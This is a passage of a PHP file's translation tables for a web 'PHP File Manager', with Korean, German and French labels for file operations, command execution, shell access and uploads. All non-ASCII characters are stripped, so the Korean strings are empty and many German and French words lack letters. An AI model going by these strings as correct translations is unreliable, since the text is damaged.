    $kr['AlterPermTo'] = ' ';
    $kr['ConfExec'] = ' ';
    $kr['ConfRem'] = '  ';
    $kr['EmptyDir'] = '   ';
    $kr['IOError'] = '/  ';
    $kr['FileMan'] = 'PHP   ';
    $kr['TypePass'] = '  ';
    $kr['InvPass'] = ' ';
    $kr['ReadDenied'] = ' ';
    $kr['FileNotFound'] = ' ';
    $kr['AutoClose'] = ' ';
    $kr['OutDocRoot'] = 'DOCUMENT_ROOT   ';
    $kr['NoCmd'] = ':    ';
    $kr['ConfTrySave'] = '   .\\n   ';
    $kr['ConfSaved'] = '  ';
    $kr['PassSaved'] = '  ';
    $kr['FileDirExists'] = '      ';
    $kr['NoPhpinfo'] = 'PHPINFO()   ';
    $kr['NoReturn'] = ' ';
    $kr['FileSent'] = '  ';
    $kr['SpaceLimReached'] = '    ';
    $kr['InvExt'] = '   ';
    $kr['FileNoOverw'] = '   ';
    $kr['FileOverw'] = '  ';
    $kr['FileIgnored'] = ' ';
    $kr['ChkVer'] = '   ';
    $kr['ChkVerAvailable'] = '   .   !!';
    $kr['ChkVerNotAvailable'] = '   . :(';
    $kr['ChkVerError'] = ' ';
    $kr['Website'] = '';
    $kr['SendingForm'] = '  . ';
    $kr['NoFileSel'] = '   ';
    $kr['SelAll'] = ' ';
    $kr['SelNone'] = ' ';
    $kr['SelInverse'] = '';

    // German - by Guido Ogrzal
    $de1['Version'] = 'Version';
    $de1['DocRoot'] = 'Dokument Wurzelverzeichnis';
    $de1['FLRoot'] = 'Dateimanager Wurzelverzeichnis';
    $de1['Name'] = 'Name';
    $de1['And'] = 'und';
    $de1['Enter'] = 'Eintreten';
    $de1['Send'] = 'Senden';
    $de1['Refresh'] = 'Aktualisieren';
    $de1['SaveConfig'] = 'Konfiguration speichern';
    $de1['SavePass'] = 'Passwort speichern';
    $de1['SaveFile'] = 'Datei speichern';
    $de1['Save'] = 'Speichern';
    $de1['Leave'] = 'Verlassen';
    $de1['Edit'] = 'Bearbeiten';
    $de1['View'] = 'Ansehen';
    $de1['Config'] = 'Konfigurieren';
    $de1['Ren'] = 'Umbenennen';
    $de1['Rem'] = 'Lschen';
    $de1['Compress'] = 'Komprimieren';
    $de1['Decompress'] = 'Dekomprimieren';
    $de1['ResolveIDs'] = 'Resolve IDs';
    $de1['Move'] = 'Verschieben';
    $de1['Copy'] = 'Kopieren';
    $de1['ServerInfo'] = 'Server-Info';
    $de1['CreateDir'] = 'Neues Verzeichnis';
    $de1['CreateArq'] = 'Neue Datei';
    $de1['ExecCmd'] = 'Kommando';
    $de1['Upload'] = 'Datei hochladen';
    $de1['UploadEnd'] = 'Datei hochladen beendet';
    $de1['Perm'] = 'Erlaubnis';
    $de1['Perms'] = 'Erlaubnis';
    $de1['Owner'] = 'Besitzer';
    $de1['Group'] = 'Gruppe';
    $de1['Other'] = 'Andere';
    $de1['Size'] = 'Gre';
    $de1['Date'] = 'Datum';
    $de1['Type'] = 'Typ';
    $de1['Free'] = 'frei';
    $de1['Shell'] = 'Shell';
    $de1['Read'] = 'Lesen';
    $de1['Write'] = 'Schreiben';
    $de1['Exec'] = 'Ausfhren';
    $de1['Apply'] = 'Besttigen';
    $de1['StickyBit'] = 'Sticky Bit';
    $de1['Pass'] = 'Passwort';
    $de1['Lang'] = 'Sprache';
    $de1['File'] = 'Datei';
    $de1['File_s'] = 'Datei(en)';
    $de1['Dir_s'] = 'Verzeichniss(e)';
    $de1['To'] = '-&gt;';
    $de1['Destination'] = 'Ziel';
    $de1['Configurations'] = 'Konfiguration';
    $de1['JSError'] = 'JavaScript Fehler';
    $de1['NoSel'] = 'Es gibt keine selektierten Objekte';
    $de1['SelDir'] = 'Selektiere das Zielverzeichnis im linken Verzeichnisbaum';
    $de1['TypeDir'] = 'Trage den Verzeichnisnamen ein';
    $de1['TypeArq'] = 'Trage den Dateinamen ein';
    $de1['TypeCmd'] = 'Gib das Kommando ein';
    $de1['TypeArqComp'] = 'Trage den Dateinamen ein.\\nDie Dateierweiterung wird den Kompressiontyp bestimmen.\\nBsp.:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
    $de1['RemSel'] = 'LSCHE die selektierten Objekte';
    $de1['NoDestDir'] = 'Das selektierte Zielverzeichnis existiert nicht';
    $de1['DestEqOrig'] = 'Quell- und Zielverzeichnis stimmen berein';
    $de1['InvalidDest'] = 'Zielverzeichnis ist ungltig';
    $de1['NoNewPerm'] = 'Neue Zugriffserlaubnis konnte nicht gesetzt werden';
    $de1['CopyTo'] = 'KOPIERE nach';
    $de1['MoveTo'] = 'VERSCHIEBE nach';
    $de1['AlterPermTo'] = 'NDERE ZUGRIFFSERLAUBSNIS in';
    $de1['ConfExec'] = 'Besttige AUSFHRUNG';
    $de1['ConfRem'] = 'Besttige LSCHEN';
    $de1['EmptyDir'] = 'Leeres Verzeichnis';
    $de1['IOError'] = 'Eingabe/Ausgabe-Fehler';
    $de1['FileMan'] = 'PHP File Manager';
    $de1['TypePass'] = 'Trage das Passwort ein';
    $de1['InvPass'] = 'Ungltiges Passwort';
    $de1['ReadDenied'] = 'Lesezugriff verweigert';
    $de1['FileNotFound'] = 'Datei nicht gefunden';
    $de1['AutoClose'] = 'Schlieen, wenn fertig';
    $de1['OutDocRoot'] = 'Datei auerhalb von DOCUMENT_ROOT';
    $de1['NoCmd'] = 'Fehler: Es wurde kein Kommando eingetragen';
    $de1['ConfTrySave'] = 'Keine Schreibberechtigung fr die Datei.\\nVersuche trotzdem zu speichern';
    $de1['ConfSaved'] = 'Konfiguration gespeichert';
    $de1['PassSaved'] = 'Passwort gespeichert';
    $de1['FileDirExists'] = 'Datei oder Verzeichnis existiert schon';
    $de1['NoPhpinfo'] = 'Funktion phpinfo ist inaktiv';
    $de1['NoReturn'] = 'keine Rckgabe';
    $de1['FileSent'] = 'Datei wurde gesendet';
    $de1['SpaceLimReached'] = 'Verfgbares Speicherlimit wurde erreicht';
    $de1['InvExt'] = 'Ungltige Dateiendung';
    $de1['FileNoOverw'] = 'Datei kann nicht berschrieben werden';
    $de1['FileOverw'] = 'Datei berschrieben';
    $de1['FileIgnored'] = 'Datei ignoriert';
    $de1['ChkVer'] = 'Prfe auf neue Version';
    $de1['ChkVerAvailable'] = 'Neue Version verfgbar; klicke hier, um den Download zu starten!!';
    $de1['ChkVerNotAvailable'] = 'Keine neue Version gefunden. :(';
    $de1['ChkVerError'] = 'Verbindungsfehler.';
    $de1['Website'] = 'Webseite';
    $de1['SendingForm'] = 'Sende Dateien... Bitte warten.';
    $de1['NoFileSel'] = 'Keine Datei selektiert';
    $de1['SelAll'] = 'Alle';
    $de1['SelNone'] = 'Keine';
    $de1['SelInverse'] = 'Invertieren';
    $de1['Selected_s'] = 'selektiert';
    $de1['Total'] = 'Gesamt';
    $de1['Partition'] = 'Partition';
    $de1['RenderTime'] = 'Zeit, um die Seite anzuzeigen';
    $de1['Seconds'] = 's';
    $de1['ErrorReport'] = 'Fehlerreport';

    // German - by AXL
    $de2['Version'] = 'Version';
    $de2['DocRoot'] = 'Document Stammverzeichnis';
    $de2['FLRoot'] = 'Datei Manager Stammverzeichnis';
    $de2['Name'] = 'Name';
    $de2['And'] = 'und';
    $de2['Enter'] = 'Enter';
    $de2['Send'] = 'Senden';
    $de2['Refresh'] = 'Aktualisieren';
    $de2['SaveConfig'] = 'Konfiguration speichern';
    $de2['SavePass'] = 'Passwort speichern';
    $de2['SaveFile'] = 'Datei speichern';
    $de2['Save'] = 'Speichern';
    $de2['Leave'] = 'Verlassen';
    $de2['Edit'] = 'Bearb.';
    $de2['View'] = 'Anzeigen';
    $de2['Config'] = 'Konfigurieren';
    $de2['Ren'] = 'Umb.';
    $de2['Rem'] = 'Lschen';
    $de2['Compress'] = 'Komprimieren';
    $de2['Decompress'] = 'De-Komprimieren';
    $de2['ResolveIDs'] = 'IDs auflsen';
    $de2['Move'] = 'Versch.';
    $de2['Copy'] = 'Kopie';
    $de2['ServerInfo'] = 'Server Info';
    $de2['CreateDir'] = 'Verzeichnis erstellen';
    $de2['CreateArq'] = 'Datei erstellen';
    $de2['ExecCmd'] = 'Befehl ausfhren';
    $de2['Upload'] = 'Upload';
    $de2['UploadEnd'] = 'Upload abgeschlossen';
    $de2['Perm'] = 'Rechte';
    $de2['Perms'] = 'Rechte';
    $de2['Owner'] = 'Besitzer';
    $de2['Group'] = 'Gruppe';
    $de2['Other'] = 'Andere';
    $de2['Size'] = 'Gre';
    $de2['Date'] = 'Datum';
    $de2['Type'] = 'Typ';
    $de2['Free'] = 'frei';
    $de2['Shell'] = 'Shell';
    $de2['Read'] = 'Read';
    $de2['Write'] = 'Write';
    $de2['Exec'] = 'Execute';
    $de2['Apply'] = 'Anwenden';
    $de2['StickyBit'] = 'Sticky Bit';
    $de2['Pass'] = 'Passwort';
    $de2['Lang'] = 'Sprache';
    $de2['File'] = 'Datei';
    $de2['File_s'] = 'Datei(en)';
    $de2['Dir_s'] = 'Verzeichnis(se)';
    $de2['To'] = 'an';
    $de2['Destination'] = 'Ziel';
    $de2['Configurations'] = 'Konfigurationen';
    $de2['JSError'] = 'JavaScript Fehler';
    $de2['NoSel'] = 'Keine Eintrge ausgewhlt';
    $de2['SelDir'] = 'Whlen Sie das Zeilverzeichnis im Verzeichnis links';
    $de2['TypeDir'] = 'Geben Sie den Verzeichnisnamen ein';
    $de2['TypeArq'] = 'Geben Sie den Dateinamen ein';
    $de2['TypeCmd'] = 'Geben Sie den Befehl ein';
    $de2['TypeArqComp'] = 'Geben Sie den Dateinamen ein.\\nDie Datei-Extension legt den Kopressionstyp fest.\\nBeispiel:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
    $de2['RemSel'] = 'Ausgewhlte Dateien LSCHEN';
    $de2['NoDestDir'] = 'Es wurde kein Zielverzeichnis angegeben';
    $de2['DestEqOrig'] = 'Quell- und Zielverzeichnis sind identisch';
    $de2['InvalidDest'] = 'Zielverzeichnis ungltig';
    $de2['NoNewPerm'] = 'Unzureichende Rechte';
    $de2['CopyTo'] = 'KOPIEREN nach';
    $de2['MoveTo'] = 'VERSCHIEBEN nach';
    $de2['AlterPermTo'] = 'RECHTE NDERN in';
    $de2['ConfExec'] = 'Besttigung AUSFHREN';
    $de2['ConfRem'] = 'Besttigung LSCHEN';
    $de2['EmptyDir'] = 'Leeres Verzeichnis';
    $de2['IOError'] = 'Ein-/Ausgabe-Fehler';
    $de2['FileMan'] = 'PHP File Manager';
    $de2['TypePass'] = 'Bitte geben Sie das Passwort ein';
    $de2['InvPass'] = 'Ungltiges Passwort';
    $de2['ReadDenied'] = 'Leasezugriff verweigert';
    $de2['FileNotFound'] = 'Datei nicht gefunden';
    $de2['AutoClose'] = 'Schliessen nach Beenden';
    $de2['OutDocRoot'] = 'Datei oberhalb DOCUMENT_ROOT';
    $de2['NoCmd'] = 'Fehler: Befehl nicht informed';
    $de2['ConfTrySave'] = 'Datei ohne Schreibberechtigung.\\nTrotzdem versuchen zu speichern';
    $de2['ConfSaved'] = 'Konfigurationen gespeichert';
    $de2['PassSaved'] = 'Passwort gespeichert';
    $de2['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits';
    $de2['NoPhpinfo'] = 'Funktion phpinfo ausgeschaltet';
    $de2['NoReturn'] = 'keine Rckgabe';
    $de2['FileSent'] = 'Datei versandt';
    $de2['SpaceLimReached'] = 'Plattenplatz erschpft';
    $de2['InvExt'] = 'Ungltige datei-Extension';
    $de2['FileNoOverw'] = 'Datei kann nicht berschrieben werden';
    $de2['FileOverw'] = 'Datei berschrieben';
    $de2['FileIgnored'] = 'Datei ignoriert';
    $de2['ChkVer'] = 'berprfe neuer Version';
    $de2['ChkVerAvailable'] = 'Neue Version. Hier klicken fr Download!!';
    $de2['ChkVerNotAvailable'] = 'Keine neue Version verfgbar. :(';
    $de2['ChkVerError'] = 'Verbindungsfehler.';
    $de2['Website'] = 'Webseite';
    $de2['SendingForm'] = 'Sende Dateien, bitte warten';
    $de2['NoFileSel'] = 'Keine Dateien ausgewhlt';
    $de2['SelAll'] = 'Alle';
    $de2['SelNone'] = 'Keine';
    $de2['SelInverse'] = 'Invers';
    $de2['Selected_s'] = 'ausgewhlt';
    $de2['Total'] = 'Total';
    $de2['Partition'] = 'Partition';
    $de2['RenderTime'] = 'Zeit zum Erzeugen der Seite';
    $de2['Seconds'] = 'Sekunden';
    $de2['ErrorReport'] = 'Fehler berichten';

	// German - by Mathias Rothe
    $de3['Version'] = 'Version';
    $de3['DocRoot'] = 'Dokumenten Root';
    $de3['FLRoot'] = 'Datei Manager Root';
    $de3['Name'] = 'Name';
    $de3['And'] = 'und';
    $de3['Enter'] = 'Enter';
    $de3['Send'] = 'Senden';
    $de3['Refresh'] = 'Refresh';
    $de3['SaveConfig'] = 'Konfiguration speichern';
    $de3['SavePass'] = 'Passwort speichern';
    $de3['SaveFile'] = 'Datei speichern';
    $de3['Save'] = 'Speichern';
    $de3['Leave'] = 'Abbrechen';
    $de3['Edit'] = 'Bearbeiten';
    $de3['View'] = 'Anzeigen';
    $de3['Config'] = 'Konfiguration';
    $de3['Ren'] = 'Umbenennen';
    $de3['Rem'] = 'Entfernen';
    $de3['Compress'] = 'Packen';
    $de3['Decompress'] = 'Entpacken';
    $de3['ResolveIDs'] = 'IDs aufloesen';
    $de3['Move'] = 'Verschieben';
    $de3['Copy'] = 'Kopie';
    $de3['ServerInfo'] = 'Server Info';
    $de3['CreateDir'] = 'Neuer Ordner';
    $de3['CreateArq'] = 'Neue Datei';
    $de3['ExecCmd'] = 'Befehl ausfuehren';
    $de3['Upload'] = 'Upload';
    $de3['UploadEnd'] = 'Upload beendet';
    $de3['Perm'] = 'Rechte';
    $de3['Perms'] = 'Rechte';
    $de3['Owner'] = 'Eigent';
    $de3['Group'] = 'Gruppe';
    $de3['Other'] = 'Andere';
    $de3['Size'] = 'Groesse';
    $de3['Date'] = 'Datum';
    $de3['Type'] = 'Typ';
    $de3['Free'] = 'frei';
    $de3['Shell'] = 'Shell';
    $de3['Read'] = 'Lesen';
    $de3['Write'] = 'Schreiben';
    $de3['Exec'] = 'Ausfuehren';
    $de3['Apply'] = 'Bestaetigen';
    $de3['StickyBit'] = 'Sticky Bit';
    $de3['Pass'] = 'Passwort';
    $de3['Lang'] = 'Sprache';
    $de3['File'] = 'Datei';
    $de3['File_s'] = 'Datei(en)';
    $de3['Dir_s'] = 'Ordner';
	$de3['To'] = 'nach';
    $de3['Destination'] = 'Ziel';
    $de3['Configurations'] = 'Konfiguration';
    $de3['JSError'] = 'JavaScript Error';
    $de3['NoSel'] = 'Keine Objekte ausgewaehlt';
    $de3['SelDir'] = 'Waehlen Sie links das Zielverzeichnis aus';
    $de3['TypeDir'] = 'Verzeichnisname eingeben';
    $de3['TypeArq'] = 'Dateiname eingeben';
    $de3['TypeCmd'] = 'Befehl eingeben';
    $de3['TypeArqComp'] = 'Dateinamen eingeben.\\nDie Erweiterung definiert den Archiv-Typ.\\nEx:\\nname.zip\\nname.tar\\nname.bzip\\nname.gzip';
    $de3['RemSel'] = 'Entferne ausgewaehlte Objekte';
    $de3['NoDestDir'] = 'Kein Zielverzeichnis ausgewaehlt';
    $de3['DestEqOrig'] = 'Quelle und Zielverzeichnis sind gleich';
    $de3['InvalidDest'] = 'Zielverzeichnis ungueltig';
    $de3['NoNewPerm'] = 'Neue Rechte nicht gesetzt';
    $de3['CopyTo'] = 'Kopiere nach';
    $de3['MoveTo'] = 'Verschiebe nach';
    $de3['AlterPermTo'] = 'Aendere Rechte zu';
    $de3['ConfExec'] = 'Ausfuehren bestaetigen';
    $de3['ConfRem'] = 'Entfernen bestaetigen';
    $de3['EmptyDir'] = 'Leerer Ordner';
    $de3['IOError'] = 'I/O Fehler';
    $de3['FileMan'] = 'PHP Datei Manager';
    $de3['TypePass'] = 'Bitte Passwort eingeben';
    $de3['InvPass'] = 'Falsches Passwort';
    $de3['ReadDenied'] = 'Kein Lesezugriff';
    $de3['FileNotFound'] = 'Datei nicht gefunden';
    $de3['AutoClose'] = 'Beenden bei Fertigstellung';
    $de3['OutDocRoot'] = 'Datei ausserhalb des DOCUMENT_ROOT';
    $de3['NoCmd'] = 'Fehler: unbekannter Befehl';
    $de3['ConfTrySave'] = 'Datei ohne Schreibrecht.\\nVersuche dennoch zu speichern';
    $de3['ConfSaved'] = 'Konfiguration gespeichert';
    $de3['PassSaved'] = 'Passwort gespeichert';
    $de3['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits';
    $de3['NoPhpinfo'] = 'Funktion phpinfo gesperrt';
    $de3['NoReturn'] = 'kein zurueck';
    $de3['FileSent'] = 'Datei gesendet';
    $de3['SpaceLimReached'] = 'Speicherplatz Grenze erreicht';
    $de3['InvExt'] = 'Ungueltige Erweiterung';
    $de3['FileNoOverw'] = 'Datei konnte nicht ueberschrieben werden';
    $de3['FileOverw'] = 'Datei ueberschrieben';
    $de3['FileIgnored'] = 'Datei ignoriert';
    $de3['ChkVer'] = 'Puefe eine neuere Version';
    $de3['ChkVerAvailable'] = 'Neue Version, hier klicken zum Download!!';
    $de3['ChkVerNotAvailable'] = 'Keine neuere Version vorhanden. :(';
    $de3['ChkVerError'] = 'Verbindungsfehler.';
    $de3['Website'] = 'Website';
    $de3['SendingForm'] = 'Dateien werden gesendet, bitte warten';
    $de3['NoFileSel'] = 'Keine Datei ausgewaehlt';
    $de3['SelAll'] = 'Alle';
    $de3['SelNone'] = 'Keine';
    $de3['SelInverse'] = 'Invertiere';
    $de3['Selected_s'] = 'ausgewaehlt';
    $de3['Total'] = 'gesamt';
    $de3['Partition'] = 'Partition';
    $de3['RenderTime'] = 'Zeit zur Erzeugung dieser Seite';
    $de3['Seconds'] = 'sec';
    $de3['ErrorReport'] = 'Fehlermeldungen';

    // French - by Jean Bilwes
    $fr1['Version'] = 'Version';
    $fr1['DocRoot'] = 'Racine des documents';
    $fr1['FLRoot'] = 'Racine du gestionnaire de fichers';
    $fr1['Name'] = 'Nom';
    $fr1['And'] = 'et';
    $fr1['Enter'] = 'Enter';
    $fr1['Send'] = 'Envoyer';
    $fr1['Refresh'] = 'Rafraichir';
    $fr1['SaveConfig'] = 'Enregistrer la Configuration';
    $fr1['SavePass'] = 'Enregistrer le mot de passe';
    $fr1['SaveFile'] = 'Enregistrer le fichier';
    $fr1['Save'] = 'Enregistrer';
    $fr1['Leave'] = 'Quitter';
    $fr1['Edit'] = 'Modifier';
    $fr1['View'] = 'Voir';
    $fr1['Config'] = 'Config';
    $fr1['Ren'] = 'Renommer';
    $fr1['Rem'] = 'Detruire';
    $fr1['Compress'] = 'Compresser';
    $fr1['Decompress'] = 'Decompresser';
    $fr1['ResolveIDs'] = 'Resoudre les IDs';
    $fr1['Move'] = 'Dplacer';
    $fr1['Copy'] = 'Copier';
    $fr1['ServerInfo'] = 'info du sreveur';
    $fr1['CreateDir'] = 'Crer un rpertoire';
    $fr1['CreateArq'] = 'Crer un fichier';
    $fr1['ExecCmd'] = 'Executer une Commande';
    $fr1['Upload'] = 'Tlversement(upload)';
    $fr1['UploadEnd'] = 'Tlversement Fini';
    $fr1['Perm'] = 'Perm';
    $fr1['Perms'] = 'Permissions';
    $fr1['Owner'] = 'Propritaire';
    $fr1['Group'] = 'Groupe';
    $fr1['Other'] = 'Autre';
    $fr1['Size'] = 'Taille';
    $fr1['Date'] = 'Date';
    $fr1['Type'] = 'Type';
    $fr1['Free'] = 'libre';
    $fr1['Shell'] = 'Shell';
    $fr1['Read'] = 'Lecture';
    $fr1['Write'] = 'Ecriture';
    $fr1['Exec'] = 'Executer';
    $fr1['Apply'] = 'Appliquer';
    $fr1['StickyBit'] = 'Sticky Bit';
    $fr1['Pass'] = 'Mot de passe';
    $fr1['Lang'] = 'Langage';
    $fr1['File'] = 'Fichier';
    $fr1['File_s'] = 'fichier(s)';
    $fr1['Dir_s'] = 'rpertoire(s)';
    $fr1['To'] = ' ';
    $fr1['Destination'] = 'Destination';
    $fr1['Configurations'] = 'Configurations';
    $fr1['JSError'] = 'Erreur JavaScript';
    $fr1['NoSel'] = 'Rien n\'est slectionn';
    $fr1['SelDir'] = 'Selectionnez le rpertoire de destination dans le panneau gauche';
    $fr1['TypeDir'] = 'Entrer le nom du rpertoire';
    $fr1['TypeArq'] = 'Entrer le nom du fichier';
    $fr1['TypeCmd'] = 'Entrer la commande';
    $fr1['TypeArqComp'] = 'Entrer le nom du fichier.\\nL\'extension dfinira le type de compression.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
    $fr1['RemSel'] = 'EFFACER les objets slectionns';
    $fr1['NoDestDir'] = 'Aucun rpertoire de destination n\'est slectionn';
    $fr1['DestEqOrig'] = 'Les rpertoires source et destination sont identiques';
    $fr1['InvalidDest'] = 'Le rpertoire de destination est invalide';
    $fr1['NoNewPerm'] = 'Nouvelle permission non tablie';
    $fr1['CopyTo'] = 'COPIER vers';
    $fr1['MoveTo'] = 'DEPLACER vers';
    $fr1['AlterPermTo'] = 'CHANGER LES PERMISSIONS';
    $fr1['ConfExec'] = 'Confirmer l\'EXECUTION';
    $fr1['ConfRem'] = 'Confirmer la DESTRUCTION';
    $fr1['EmptyDir'] = 'Rpertoire vide';
    $fr1['IOError'] = 'I/O Error';
    $fr1['FileMan'] = 'PHP File Manager';
    $fr1['TypePass'] = 'Entrer le mot de passe';
    $fr1['InvPass'] = 'Mot de passe invalide';
    $fr1['ReadDenied'] = 'Droit de lecture refus';
    $fr1['FileNotFound'] = 'Fichier introuvable';
    $fr1['AutoClose'] = 'Fermer sur fin';
    $fr1['OutDocRoot'] = 'Fichier au del  de DOCUMENT_ROOT';
    $fr1['NoCmd'] = 'Erreur: Commande non renseigne';
    $fr1['ConfTrySave'] = 'Fichier sans permission d\'criture.\\nJ\'essaie de l\'enregister';
    $fr1['ConfSaved'] = 'Configurations enreristre';
    $fr1['PassSaved'] = 'Mot de passe enreristr';
    $fr1['FileDirExists'] = 'Le fichier ou le rpertoire existe dj ';
    $fr1['NoPhpinfo'] = 'Function phpinfo dsactive';
    $fr1['NoReturn'] = 'pas de retour';
    $fr1['FileSent'] = 'Fichier envoy';
    $fr1['SpaceLimReached'] = 'Espace maxi atteint';
    $fr1['InvExt'] = 'Extension invalide';
    $fr1['FileNoOverw'] = 'Le fichier ne peut pas etre cras';
    $fr1['FileOverw'] = 'Fichier cras';
    $fr1['FileIgnored'] = 'Fichier ignor';
    $fr1['ChkVer'] = 'Verifier nouvelle version';
    $fr1['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour la tlchager!!';
    $fr1['ChkVerNotAvailable'] = 'Aucune mise a jour de disponible. :(';
    $fr1['ChkVerError'] = 'Erreur de connection.';
    $fr1['Website'] = 'siteweb';
    $fr1['SendingForm'] = 'Envoi des fichiers en cours, Patienter';
    $fr1['NoFileSel'] = 'Aucun fichier slectionn';
    $fr1['SelAll'] = 'Tous';
    $fr1['SelNone'] = 'Aucun';
    $fr1['SelInverse'] = 'Inverser';
    $fr1['Selected_s'] = 'selection';
    $fr1['Total'] = 'total';
    $fr1['Partition'] = 'Partition';
    $fr1['RenderTime'] = 'Temps pour afficher cette page';
    $fr1['Seconds'] = 'sec';
    $fr1['ErrorReport'] = 'Rapport d\'erreur';

	// French - by Sharky
    $fr2['Version'] = 'Version';
    $fr2['DocRoot'] = 'Racine document';
    $fr2['FLRoot'] = 'Gestion des fichiers racine';
    $fr2['Name'] = 'Nom';
    $fr2['And'] = 'et';
    $fr2['Enter'] = 'Entrer';
    $fr2['Send'] = 'Envoi';
    $fr2['Refresh'] = 'Rafrachir';
    $fr2['SaveConfig'] = 'Sauver configurations';
    $fr2['SavePass'] = 'Sauver mot de passe';
    $fr2['SaveFile'] = 'Sauver fichier';
    $fr2['Save'] = 'Sauver';
    $fr2['Leave'] = 'Permission';
    $fr2['Edit'] = 'diter';
    $fr2['View'] = 'Afficher';
    $fr2['Config'] = 'config';
    $fr2['Ren'] = 'Renommer';
    $fr2['Rem'] = 'Effacer';
    $fr2['Compress'] = 'Compresser';
    $fr2['Decompress'] = 'Dcompresser';
    $fr2['ResolveIDs'] = 'Rsoudre ID';
    $fr2['Move'] = 'Dplacer';
    $fr2['Copy'] = 'Copier';
    $fr2['ServerInfo'] = 'Information Serveur';
    $fr2['CreateDir'] = 'Crer un rpertoire';
    $fr2['CreateArq'] = 'Crer un fichier';
    $fr2['ExecCmd'] = 'Execut une commande';
    $fr2['Upload'] = 'Transfrer';
    $fr2['UploadEnd'] = 'Transfert termin';
    $fr2['Perm'] = 'Perm';
    $fr2['Perms'] = 'Permissions';
    $fr2['Owner'] = 'Propritaire';
    $fr2['Group'] = 'Groupe';
    $fr2['Other'] = 'Autre';
    $fr2['Size'] = 'Taille';
    $fr2['Date'] = 'date';
    $fr2['Type'] = 'Type';
    $fr2['Free'] = 'Libre';
    $fr2['Shell'] = 'Shell';
    $fr2['Read'] = 'lecture';
    $fr2['Write'] = 'criture';
    $fr2['Exec'] = 'Execute';
    $fr2['Apply'] = 'Appliquer';
    $fr2['StickyBit'] = 'Bit figer';
    $fr2['Pass'] = 'mot de passe';
    $fr2['Lang'] = 'Language';
    $fr2['File'] = 'Fichier';
    $fr2['File_s'] = 'fichier(s)';
    $fr2['Dir_s'] = 'rpertoire(s)';
    $fr2['To'] = ' ';
    $fr2['Destination'] = 'Destination';
    $fr2['Configurations'] = 'Configurations';
    $fr2['JSError'] = 'Erreur JavaScript';
    $fr2['NoSel'] = 'Il n\'y a pas d\'objets slectionns';
    $fr2['SelDir'] = 'Slectionnez le rpertoire de destination sur l\'arborescence de gauche';
    $fr2['TypeDir'] = 'Entrez le nom du rpertoire';
    $fr2['TypeArq'] = 'Entrez le nom du fichier';
    $fr2['TypeCmd'] = 'Entrez la commande';
    $fr2['TypeArqComp'] = 'Entrez le fichier.\\nL\'extension dfinira le type de compression.\\nEx:\\nnom.zip\\nnom.tar\\nnom.bzip\\nnom.gzip';
    $fr2['RemSel'] = 'EFFACEZ l\'objet slectionn';
    $fr2['NoDestDir'] = 'Il n\'y a aucun rpertoire de destination slectionn';
    $fr2['DestEqOrig'] = 'Origine et rpertoires de destination sont identique';
    $fr2['InvalidDest'] = 'Rpertoire de destination est invalide';
    $fr2['NoNewPerm'] = 'Nouvelle autorisation n\'a pas t configur';
    $fr2['CopyTo'] = 'COPIE dans';
    $fr2['MoveTo'] = 'DPLACER dans';
    $fr2['AlterPermTo'] = 'CHANGER PERMISSIONS dans';
    $fr2['ConfExec'] = 'Confirmer EXECUTE';
    $fr2['ConfRem'] = 'Confirmer EFFACER';
    $fr2['EmptyDir'] = 'Rpertoire vide';
    $fr2['IOError'] = 'I/O Erreur';
    $fr2['FileMan'] = 'Gestion de fichiers PHP';
    $fr2['TypePass'] = 'Entrer le mot de passe';
    $fr2['InvPass'] = 'Mot de passe invalide';
    $fr2['ReadDenied'] = 'Accs en lecture refuser';
    $fr2['FileNotFound'] = 'Fichier non-trouv';
    $fr2['AutoClose'] = 'Fermez a la fin';
    $fr2['OutDocRoot'] = 'Fichier au-del  DOCUMENT_ROOT';
    $fr2['NoCmd'] = 'Erreur: Commande inconnue';
    $fr2['ConfTrySave'] = 'Fichier sans permission d\'criture.\\nEssayez de sauver';
    $fr2['ConfSaved'] = 'Configurations sauve';
    $fr2['PassSaved'] = 'Mot de passe sauv';
    $fr2['FileDirExists'] = 'Fichier ou rpertoire dj  existant';
    $fr2['NoPhpinfo'] = 'Function phpinfo dsactiv';
    $fr2['NoReturn'] = 'sans retour possible';
    $fr2['FileSent'] = 'Fichier envoy';
    $fr2['SpaceLimReached'] = 'Limite de d\'espace atteint';
    $fr2['InvExt'] = 'Extension invalide';
    $fr2['FileNoOverw'] = 'Fichier ne peut pas tre cras';
    $fr2['FileOverw'] = 'Fichier cras';
    $fr2['FileIgnored'] = 'Fichier ignor';
    $fr2['ChkVer'] = 'Check nouvelle version';
    $fr2['ChkVerAvailable'] = 'Nouvelle version, cliquez ici pour commencer le tlchargement!!';
    $fr2['ChkVerNotAvailable'] = 'Aucune nouvelle version disponible. :(';
    $fr2['ChkVerError'] = 'Erreur de connection.';
    $fr2['Website'] = 'Site Web';
    $fr2['SendingForm'] = 'Envoye de fichier, s\'il vous plat patientez';
    $fr2['NoFileSel'] = 'Aucun fichier slectionn';
    $fr2['SelAll'] = 'Tout';
    $fr2['SelNone'] = 'Aucuns';
    $fr2['SelInverse'] = 'Inverser';
    $fr2['Selected_s'] = 'slectionn';
    $fr2['Total'] = 'total';
    $fr2['Partition'] = 'Partition';
    $fr2['RenderTime'] = 'Temps pour afficher la page';
    $fr2['Seconds'] = 'sec';
    $fr2['ErrorReport'] = 'Liste des erreurs';

    // French - by Michel Lainey
    $fr3['Version'] = 'Version';
    $fr3['DocRoot'] = 'Racine Document';
    $fr3['FLRoot'] = 'Racine File Manager';
    $fr3['Name'] = 'Nom';
    $fr3['And'] = 'et';
    $fr3['Enter'] = 'Valider';
    $fr3['Send'] = 'Envoyer';
    $fr3['Refresh'] = 'Raffraichir';
    $fr3['SaveConfig'] = 'Sauvegarder Config';
    $fr3['SavePass'] = 'Sauvegarder Password';
    $fr3['SaveFile'] = 'Sauvegarder Fichier';
    $fr3['Save'] = 'Sauvegarder';
    $fr3['Leave'] = 'Quitter';
    $fr3['Edit'] = 'Editer';
    $fr3['View'] = 'Visualiser';
    $fr3['Config'] = 'Config';
    $fr3['Ren'] = 'Renommer';
    $fr3['Rem'] = 'Supprimer';
    $fr3['Compress'] = 'Compresser';
    $fr3['Decompress'] = 'Dcompresser';
    $fr3['ResolveIDs'] = 'Resoudre IDs';
    $fr3['Move'] = 'Dplacer';
    $fr3['Copy'] = 'Copier';
